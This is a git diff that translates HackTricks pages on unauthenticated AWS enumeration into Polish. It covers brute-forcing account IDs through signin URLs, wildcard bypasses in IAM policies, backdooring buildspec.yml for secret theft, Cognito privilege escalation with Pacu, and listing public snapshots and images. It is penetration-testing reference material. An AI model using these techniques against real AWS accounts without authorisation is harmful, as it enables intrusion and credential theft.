[**Accounts Unauthenticated Enum**](aws-accounts-unauthenticated-enum.md) -- [**Cloud9 Unauthenticated Enum**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) -- [**Cloudfront Unauthenticated Enum**](aws-cloudfront-unauthenticated-enum.md) -- [**Cloudsearch Unauthenticated Enum**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) -- [**Cognito Unauthenticated Enum**](aws-cognito-unauthenticated-enum.md) -- [**DocumentDB Unauthenticated Enum**](aws-documentdb-enum.md) -- [**EC2 Unauthenticated Enum**](aws-ec2-unauthenticated-enum.md) -- [**Elasticsearch Unauthenticated Enum**](aws-elasticsearch-unauthenticated-enum.md) -- [**IAM Unauthenticated Enum**](aws-iam-and-sts-unauthenticated-enum.md) -- [**IoT Unauthenticated Access**](aws-iot-unauthenticated-enum.md) -- [**Kinesis Video Unauthenticated Access**](aws-kinesis-video-unauthenticated-enum.md) -- [**Media Unauthenticated Access**](aws-media-unauthenticated-enum.md) -- [**MQ Unauthenticated Access**](aws-mq-unauthenticated-enum.md) -- [**MSK Unauthenticated Access**](aws-msk-unauthenticated-enum.md) -- [**RDS Unauthenticated Access**](aws-rds-unauthenticated-enum.md) -- [**Redshift Unauthenticated Access**](aws-redshift-unauthenticated-enum.md) -- [**SQS Unauthenticated Access**](aws-sqs-unauthenticated-enum.md) -- [**S3 Unauthenticated Access**](aws-s3-unauthenticated-enum.md) +- [**Nieautoryzowane Enum Kont**](aws-accounts-unauthenticated-enum.md) +- [**Nieautoryzowane Enum Cloud9**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) +- [**Nieautoryzowane Enum Cloudfront**](aws-cloudfront-unauthenticated-enum.md) +- [**Nieautoryzowane Enum Cloudsearch**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) +- [**Nieautoryzowane Enum Cognito**](aws-cognito-unauthenticated-enum.md) +- [**Nieautoryzowane Enum DocumentDB**](aws-documentdb-enum.md) +- [**Nieautoryzowane Enum EC2**](aws-ec2-unauthenticated-enum.md) +- [**Nieautoryzowane Enum Elasticsearch**](aws-elasticsearch-unauthenticated-enum.md) +- [**Nieautoryzowane Enum IAM**](aws-iam-and-sts-unauthenticated-enum.md) +- [**Nieautoryzowany Dostęp IoT**](aws-iot-unauthenticated-enum.md) +- [**Nieautoryzowany Dostęp Kinesis Video**](aws-kinesis-video-unauthenticated-enum.md) +- [**Nieautoryzowany Dostęp Media**](aws-media-unauthenticated-enum.md) +- [**Nieautoryzowany Dostęp MQ**](aws-mq-unauthenticated-enum.md) +- [**Nieautoryzowany Dostęp MSK**](aws-msk-unauthenticated-enum.md) +- [**Nieautoryzowany Dostęp RDS**](aws-rds-unauthenticated-enum.md) +- [**Nieautoryzowany Dostęp Redshift**](aws-redshift-unauthenticated-enum.md) +- [**Nieautoryzowany Dostęp SQS**](aws-sqs-unauthenticated-enum.md) +- [**Nieautoryzowany Dostęp S3**](aws-s3-unauthenticated-enum.md) -## Cross Account Attacks +## Ataki między kontami -In the talk [**Breaking the Isolation: Cross-Account AWS Vulnerabilities**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) it's presented how some services allow(ed) any AWS account accessing them because **AWS services without specifying accounts ID** were allowed. +W wykładzie [**Breaking the Isolation: Cross-Account AWS Vulnerabilities**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) przedstawiono, jak niektóre usługi pozwalały dowolnemu kontu AWS na dostęp do nich, ponieważ **usługi AWS bez określenia ID konta** były dozwolone. -During the talk they specify several examples, such as S3 buckets **allowing cloudtrai**l (of **any AWS** account) to **write to them**: +Podczas wykładu podano kilka przykładów, takich jak kosze S3 **pozwalające cloudtrail** (dowolnego konta **AWS**) na **zapisywanie do nich**: ![](<../../../images/image (260).png>) -Other services found vulnerable: +Inne usługi uznane za podatne: - AWS Config -- Serverless repository +- Repozytorium Serverless -## Tools +## Narzędzia -- [**cloud_enum**](https://github.com/initstring/cloud_enum): Multi-cloud OSINT tool. **Find public resources** in AWS, Azure, and Google Cloud. Supported AWS services: Open / Protected S3 Buckets, awsapps (WorkMail, WorkDocs, Connect, etc.) +- [**cloud_enum**](https://github.com/initstring/cloud_enum): Narzędzie OSINT dla wielu chmur. **Znajdź publiczne zasoby** w AWS, Azure i Google Cloud. Obsługiwane usługi AWS: Otwarte / Chronione kosze S3, awsapps (WorkMail, WorkDocs, Connect itp.) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md index 84c70ed0e..2137e68e5 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md @@ -2,14 +2,13 @@ {{#include ../../../banners/hacktricks-training.md}} -## Account IDs +## Identyfikatory kont -If you have a target there are ways to try to identify account IDs of accounts related to the target. +Jeśli masz cel, istnieją sposoby, aby spróbować zidentyfikować identyfikatory kont związanych z celem. ### Brute-Force -You create a list of potential account IDs and aliases and check them - +Tworzysz listę potencjalnych identyfikatorów kont i aliasów i je sprawdzasz. ```bash # Check if an account ID exists curl -v https://.signin.aws.amazon.com @@ -17,33 +16,28 @@ curl -v https://.signin.aws.amazon.com ## It also works from account aliases curl -v https://vodafone-uk2.signin.aws.amazon.com ``` - -You can [automate this process with this tool](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py). +Możesz [zautomatyzować ten proces za pomocą tego narzędzia](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py). ### OSINT -Look for urls that contains `.signin.aws.amazon.com` with an **alias related to the organization**. +Szukaj adresów URL, które zawierają `.signin.aws.amazon.com` z **aliasem związanym z organizacją**. ### Marketplace -If a vendor has **instances in the marketplace,** you can get the owner id (account id) of the AWS account he used. +Jeśli dostawca ma **instancje na rynku,** możesz uzyskać identyfikator właściciela (identyfikator konta) AWS, którego użył. ### Snapshots -- Public EBS snapshots (EC2 -> Snapshots -> Public Snapshots) -- RDS public snapshots (RDS -> Snapshots -> All Public Snapshots) -- Public AMIs (EC2 -> AMIs -> Public images) +- Publiczne migawki EBS (EC2 -> Snapshots -> Public Snapshots) +- Publiczne migawki RDS (RDS -> Snapshots -> All Public Snapshots) +- Publiczne AMI (EC2 -> AMIs -> Public images) ### Errors -Many AWS error messages (even access denied) will give that information. +Wiele komunikatów o błędach AWS (nawet odmowa dostępu) dostarczy tych informacji. ## References - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md index 5a69bebe0..ed6d9350e 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md @@ -2,59 +2,51 @@ {{#include ../../../banners/hacktricks-training.md}} -### API Invoke bypass - -According to the talk [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), Lambda Authorizers can be configured **using IAM syntax** to give permissions to invoke API endpoints. This is taken [**from the docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): +### Ominięcie wywołania API +Zgodnie z prezentacją [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), Lambda Authorizers mogą być konfigurowane **przy użyciu składni IAM** w celu nadania uprawnień do wywoływania punktów końcowych API. To jest wzięte [**z dokumentacji**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Permission", - "Action": ["execute-api:Execution-operation"], - "Resource": [ - "arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path" - ] - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Permission", +"Action": ["execute-api:Execution-operation"], +"Resource": [ +"arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path" +] +} +] } ``` +Problem z tym sposobem nadawania uprawnień do wywoływania punktów końcowych polega na tym, że **"\*" oznacza "cokolwiek"** i **nie obsługuje więcej składni regex**. -The problem with this way to give permissions to invoke endpoints is that the **"\*" implies "anything"** and there is **no more regex syntax supported**. +Kilka przykładów: -Some examples: - -- A rule such as `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` in order to give each user access to `/dashboard/user/{username}` will give them access to other routes such as `/admin/dashboard/createAdmin` for example. +- Reguła taka jak `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*`, aby dać każdemu użytkownikowi dostęp do `/dashboard/user/{username}`, da im dostęp do innych tras, takich jak `/admin/dashboard/createAdmin`, na przykład. > [!WARNING] -> Note that **"\*" doesn't stop expanding with slashes**, therefore, if you use "\*" in api-id for example, it could also indicate "any stage" or "any method" as long as the final regex is still valid.\ -> So `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ -> Can validate a post request to test stage to the path `/prod/GET/dashboard/admin` for example. +> Zauważ, że **"\*" nie przestaje się rozwijać z ukośnikami**, dlatego, jeśli użyjesz "\*" w api-id, na przykład, może to również oznaczać "dowolny etap" lub "dowolną metodę", o ile końcowy regex jest nadal ważny.\ +> Tak więc `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ +> Może zwalidować żądanie POST do etapu testowego do ścieżki `/prod/GET/dashboard/admin`, na przykład. -You should always have clear what you want to allow to access and then check if other scenarios are possible with the permissions granted. +Zawsze powinieneś mieć jasno określone, co chcesz zezwolić na dostęp, a następnie sprawdzić, czy inne scenariusze są możliwe z przyznanymi uprawnieniami. -For more info, apart of the [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), you can find code to implement authorizers in [**this official aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints). +Aby uzyskać więcej informacji, oprócz [**dokumentacji**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), możesz znaleźć kod do implementacji autoryzatorów w [**tym oficjalnym githubie aws**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints). -### IAM Policy Injection +### Wstrzykiwanie polityki IAM -In the same [**talk** ](https://www.youtube.com/watch?v=bsPKk7WDOnE)it's exposed the fact that if the code is using **user input** to **generate the IAM policies**, wildcards (and others such as "." or specific strings) can be included in there with the goal of **bypassing restrictions**. - -### Public URL template +W tej samej [**prezentacji**](https://www.youtube.com/watch?v=bsPKk7WDOnE) ujawniono fakt, że jeśli kod używa **danych wejściowych użytkownika** do **generowania polityk IAM**, dzikie znaki (i inne, takie jak "." lub konkretne ciągi) mogą być w nich zawarte w celu **obejścia ograniczeń**. +### Szablon publicznego URL ``` https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided} ``` +### Uzyskaj identyfikator konta z publicznego adresu URL API Gateway -### Get Account ID from public API Gateway URL +Podobnie jak w przypadku koszyków S3, Data Exchange i adresów URL Lambda, możliwe jest znalezienie identyfikatora konta, wykorzystując **`aws:ResourceAccount`** **Policy Condition Key** z publicznego adresu URL API Gateway. Robi się to, znajdując identyfikator konta jeden znak na raz, wykorzystując znaki wieloznaczne w sekcji **`aws:ResourceAccount`** polityki.\ +Ta technika pozwala również uzyskać **wartości tagów**, jeśli znasz klucz tagu (istnieją domyślne interesujące). -Just like with S3 buckets, Data Exchange and Lambda URLs gateways, It's possible to find the account ID of an account abusing the **`aws:ResourceAccount`** **Policy Condition Key** from a public API Gateway URL. This is done by finding the account ID one character at a time abusing wildcards in the **`aws:ResourceAccount`** section of the policy.\ -This technique also allows to get **values of tags** if you know the tag key (there some default interesting ones). - -You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation. +Możesz znaleźć więcej informacji w [**oryginalnych badaniach**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) oraz w narzędziu [**conditional-love**](https://github.com/plerionhq/conditional-love/), aby zautomatyzować tę eksploitację. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md index 0284e2514..af3d6092c 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md @@ -2,14 +2,8 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Publiczny szablon URL ``` https://{random_id}.cloudfront.net ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md index d95410a62..04855ddaf 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md @@ -4,7 +4,7 @@ ## CodeBuild -For more info check this page: +Aby uzyskać więcej informacji, sprawdź tę stronę: {{#ref}} ../aws-services/aws-codebuild-enum.md @@ -12,28 +12,22 @@ For more info check this page: ### buildspec.yml -If you compromise write access over a repository containing a file named **`buildspec.yml`**, you could **backdoor** this file, which specifies the **commands that are going to be executed** inside a CodeBuild project and exfiltrate the secrets, compromise what is done and also compromise the **CodeBuild IAM role credentials**. +Jeśli uzyskasz dostęp do zapisu w repozytorium zawierającym plik o nazwie **`buildspec.yml`**, możesz **wprowadzić tylne wejście** do tego pliku, który określa **komendy, które będą wykonywane** w projekcie CodeBuild i wyeksportować sekrety, skompromitować to, co jest robione, a także skompromitować **poświadczenia roli IAM CodeBuild**. -Note that even if there isn't any **`buildspec.yml`** file but you know Codebuild is being used (or a different CI/CD) **modifying some legit code** that is going to be executed can also get you a reverse shell for example. +Zauważ, że nawet jeśli nie ma żadnego pliku **`buildspec.yml`**, ale wiesz, że używany jest Codebuild (lub inny CI/CD), **modyfikacja jakiegoś legalnego kodu**, który ma być wykonany, może również dać ci powrotną powłokę na przykład. -For some related information you could check the page about how to attack Github Actions (similar to this): +Aby uzyskać powiązane informacje, możesz sprawdzić stronę o tym, jak atakować Github Actions (podobnie jak to): {{#ref}} ../../../pentesting-ci-cd/github-security/abusing-github-actions/ {{#endref}} -## Self-hosted GitHub Actions runners in AWS CodeBuild - -As [**indicated in the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), It's possible to configure **CodeBuild** to run **self-hosted Github actions** when a workflow is triggered inside a Github repo configured. This can be detected checking the CodeBuild project configuration because the **`Event type`** needs to contain: **`WORKFLOW_JOB_QUEUED`** and in a Github Workflow because it will select a **self-hosted** runner like this: +## Samodzielnie hostowane runner'y GitHub Actions w AWS CodeBuild +Jak [**wskazano w dokumentacji**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), możliwe jest skonfigurowanie **CodeBuild** do uruchamiania **samodzielnie hostowanych akcji Github**, gdy workflow jest uruchamiany w skonfigurowanym repozytorium Github. Można to wykryć, sprawdzając konfigurację projektu CodeBuild, ponieważ **`Typ zdarzenia`** musi zawierać: **`WORKFLOW_JOB_QUEUED`** oraz w workflow Github, ponieważ wybierze **samodzielnie hostowanego** runner'a w ten sposób: ```bash runs-on: codebuild--${{ github.run_id }}-${{ github.run_attempt }} ``` - -This new relationship between Github Actions and AWS creates another way to compromise AWS from Github as the code in Github will be running in a CodeBuild project with an IAM role attached. +Ta nowa relacja między Github Actions a AWS tworzy kolejny sposób na kompromitację AWS z Github, ponieważ kod w Github będzie uruchamiany w projekcie CodeBuild z dołączoną rolą IAM. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md index 6f26f3a34..237b920cf 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md @@ -4,9 +4,9 @@ ## Unauthenticated Cognito -Cognito is an AWS service that enable developers to **grant their app users access to AWS services**. Developers will grant **IAM roles to authenticated users** in their app (potentially people willbe able to just sign up) and they can also grant an **IAM role to unauthenticated users**. +Cognito to usługa AWS, która umożliwia deweloperom **przyznawanie użytkownikom aplikacji dostępu do usług AWS**. Deweloperzy przyznają **role IAM uwierzytelnionym użytkownikom** w swojej aplikacji (potencjalnie osoby będą mogły się po prostu zarejestrować) i mogą również przyznać **rolę IAM użytkownikom nieuwierzytelnionym**. -For basic info about Cognito check: +Aby uzyskać podstawowe informacje o Cognito, sprawdź: {{#ref}} ../aws-services/aws-cognito-enum/ @@ -14,39 +14,31 @@ For basic info about Cognito check: ### Identity Pool ID -Identity Pools can grant **IAM roles to unauthenticated users** that just **know the Identity Pool ID** (which is fairly common to **find**), and attacker with this info could try to **access that IAM rol**e and exploit it.\ -Moreoever, IAM roles could also be assigned to **authenticated users** that access the Identity Pool. If an attacker can **register a user** or already has **access to the identity provider** used in the identity pool you could access to the **IAM role being given to authenticated** users and abuse its privileges. +Pule tożsamości mogą przyznawać **role IAM użytkownikom nieuwierzytelnionym**, którzy po prostu **znają ID puli tożsamości** (co jest dość powszechne do **znalezienia**), a atakujący z tymi informacjami może próbować **uzyskać dostęp do tej roli IAM** i ją wykorzystać.\ +Ponadto, role IAM mogą być również przypisane do **uwierzytelnionych użytkowników**, którzy uzyskują dostęp do puli tożsamości. Jeśli atakujący może **zarejestrować użytkownika** lub już ma **dostęp do dostawcy tożsamości** używanego w puli tożsamości, może uzyskać dostęp do **roli IAM przyznawanej uwierzytelnionym** użytkownikom i nadużyć jej uprawnień. -[**Check how to do that here**](../aws-services/aws-cognito-enum/cognito-identity-pools.md). +[**Sprawdź, jak to zrobić tutaj**](../aws-services/aws-cognito-enum/cognito-identity-pools.md). ### User Pool ID -By default Cognito allows to **register new user**. Being able to register a user might give you **access** to the **underlaying application** or to the **authenticated IAM access role of an Identity Pool** that is accepting as identity provider the Cognito User Pool. [**Check how to do that here**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). +Domyślnie Cognito pozwala na **rejestrację nowego użytkownika**. Możliwość zarejestrowania użytkownika może dać ci **dostęp** do **podstawowej aplikacji** lub do **uwierzytelnionej roli dostępu IAM puli tożsamości**, która akceptuje jako dostawcę tożsamości Pulę Użytkowników Cognito. [**Sprawdź, jak to zrobić tutaj**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). -### Pacu modules for pentesting and enumeration +### Moduły Pacu do pentestingu i enumeracji -[Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc. +[Pacu](https://github.com/RhinoSecurityLabs/pacu), framework do eksploatacji AWS, teraz zawiera moduły "cognito\_\_enum" i "cognito\_\_attack", które automatyzują enumerację wszystkich zasobów Cognito w koncie i oznaczają słabe konfiguracje, atrybuty użytkowników używane do kontroli dostępu itp., a także automatyzują tworzenie użytkowników (w tym wsparcie MFA) i eskalację uprawnień na podstawie modyfikowalnych atrybutów niestandardowych, używalnych poświadczeń puli tożsamości, ról, które można przyjąć w tokenach id itp. -For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page. +Aby uzyskać opis funkcji modułów, zobacz część 2 [postu na blogu](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Aby uzyskać instrukcje instalacji, zobacz główną stronę [Pacu](https://github.com/RhinoSecurityLabs/pacu). -#### Usage - -Sample `cognito__attack` usage to attempt user creation and all privesc vectors against a given identity pool and user pool client: +#### Użycie +Przykład użycia `cognito__attack` do próby utworzenia użytkownika i wszystkich wektorów privesc przeciwko danej puli tożsamości i kliencie puli użytkowników: ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` - -Sample cognito\_\_enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account: - +Przykład użycia cognito\_\_enum do zbierania wszystkich pul użytkowników, klientów pul użytkowników, pul tożsamości, użytkowników itp. widocznych w bieżącym koncie AWS: ```bash Pacu (new:test) > run cognito__enum ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md index 004a92c2b..410de4374 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md @@ -2,14 +2,8 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Szablon publicznego URL-a ``` .cluster-..docdb.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md index e9e7fa8e4..3c58e22a2 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md @@ -1,19 +1,15 @@ -# AWS - DynamoDB Unauthenticated Access +# AWS - DynamoDB Nieautoryzowany Dostęp {{#include ../../../banners/hacktricks-training.md}} ## Dynamo DB -For more information check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../aws-services/aws-dynamodb-enum.md {{#endref}} -Apart from giving access to all AWS or some compromised external AWS account, or have some SQL injections in an application that communicates with DynamoDB I'm don't know more options to access AWS accounts from DynamoDB. +Oprócz uzyskania dostępu do wszystkich kont AWS lub niektórego skompromitowanego zewnętrznego konta AWS, lub posiadania jakichś SQL injection w aplikacji, która komunikuje się z DynamoDB, nie znam więcej opcji dostępu do kont AWS z DynamoDB. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md index 657bf7f3a..bb2463108 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md @@ -2,17 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -## EC2 & Related Services +## EC2 i Usługi Pokrewne -Check in this page more information about this: +Sprawdź na tej stronie więcej informacji na ten temat: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -### Public Ports +### Publiczne Porty -It's possible to expose the **any port of the virtual machines to the internet**. Depending on **what is running** in the exposed the port an attacker could abuse it. +Możliwe jest **udostępnienie dowolnego portu maszyn wirtualnych w internecie**. W zależności od **tego, co działa** na udostępnionym porcie, atakujący może to wykorzystać. #### SSRF @@ -20,10 +20,9 @@ It's possible to expose the **any port of the virtual machines to the internet** https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf {{#endref}} -### Public AMIs & EBS Snapshots - -AWS allows to **give access to anyone to download AMIs and Snapshots**. You can list these resources very easily from your own account: +### Publiczne AMI i Migawki EBS +AWS pozwala na **udzielenie dostępu każdemu do pobierania AMI i Migawków**. Możesz bardzo łatwo wylistować te zasoby z własnego konta: ```bash # Public AMIs aws ec2 describe-images --executable-users all @@ -38,11 +37,9 @@ aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLo aws ec2 describe-snapshots --restorable-by-user-ids all aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")' ``` +Jeśli znajdziesz migawkę, która może być przywrócona przez każdego, upewnij się, że sprawdzisz [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) w celu uzyskania wskazówek dotyczących pobierania i plądrowania migawki. -If you find a snapshot that is restorable by anyone, make sure to check [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) for directions on downloading and looting the snapshot. - -#### Public URL template - +#### Szablon publicznego URL-a ```bash # EC2 ec2-{ip-seperated}.compute-1.amazonaws.com @@ -50,15 +47,8 @@ ec2-{ip-seperated}.compute-1.amazonaws.com http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443 https://{user_provided}-{random_id}.{region}.elb.amazonaws.com ``` - -### Enumerate EC2 instances with public IP - +### Enumeracja instancji EC2 z publicznym adresem IP ```bash aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md index 2febbed62..78986402b 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md @@ -4,7 +4,7 @@ ## ECR -For more information check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../aws-services/aws-ecr-enum.md @@ -12,27 +12,19 @@ For more information check: ### Public registry repositories (images) -As mentioned in the ECS Enum section, a public registry is **accessible by anyone** uses the format **`public.ecr.aws//`**. If a public repository URL is located by an attacker he could **download the image and search for sensitive information** in the metadata and content of the image. - +Jak wspomniano w sekcji ECS Enum, publiczny rejestr jest **dostępny dla każdego** i używa formatu **`public.ecr.aws//`**. Jeśli atakujący znajdzie URL publicznego repozytorium, może **pobrać obraz i przeszukać w nim wrażliwe informacje** w metadanych i treści obrazu. ```bash aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text ``` - > [!WARNING] -> This could also happen in **private registries** where a registry policy or a repository policy is **granting access for example to `"AWS": "*"`**. Anyone with an AWS account could access that repo. +> To może również zdarzyć się w **prywatnych rejestrach**, gdzie polityka rejestru lub polityka repozytorium **przyznaje dostęp na przykład do `"AWS": "*"`**. Każdy z kontem AWS mógłby uzyskać dostęp do tego repozytorium. ### Enumerate Private Repo -The tools [**skopeo**](https://github.com/containers/skopeo) and [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) can be used to list accessible repositories inside a private registry. - +Narzędzia [**skopeo**](https://github.com/containers/skopeo) i [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) mogą być używane do wylistowania dostępnych repozytoriów w prywatnym rejestrze. ```bash # Get image names skopeo list-tags docker:// | grep -oP '(?<=^Name: ).+' crane ls | sed 's/ .*//' ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md index 8d0b02ba2..184f5033c 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md @@ 